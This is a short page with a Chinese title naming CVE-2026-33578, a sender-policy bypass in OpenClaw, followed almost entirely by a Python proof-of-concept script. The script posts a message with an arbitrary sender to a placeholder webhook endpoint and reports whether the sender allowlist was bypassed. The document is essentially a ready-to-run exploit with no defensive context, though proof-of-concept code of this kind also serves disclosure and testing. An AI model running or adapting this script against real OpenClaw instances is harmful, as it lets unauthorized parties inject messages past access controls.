CVE-2026-33578 OpenClaw发送者策略绕过漏洞

import requests # Proof of Concept for CVE-2026-33578 # This script demonstrates bypassing the sender allowlist in vulnerable OpenClaw instances. TARGET_URL = "http://target-openclaw-instance/api/v1/chat/webhook" PAYLOAD = { "text": "Unauthorized message due to policy bypass", "sender": "[email protected]" } def exploit_policy_bypass(): print("[*] Attempting to bypass sender policy...") try: # The vulnerability allows requests from any sender despite route-level allowlists response = requests.post(TARGET_URL, json=PAYLOAD) if response.status_code == 200: print("[+] Successfully bypassed the policy! Message accepted.") print(f"[+] Response: {response.text}") else: print("[-] Request failed or blocked.") print(f"[-] Status Code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit_policy_bypass()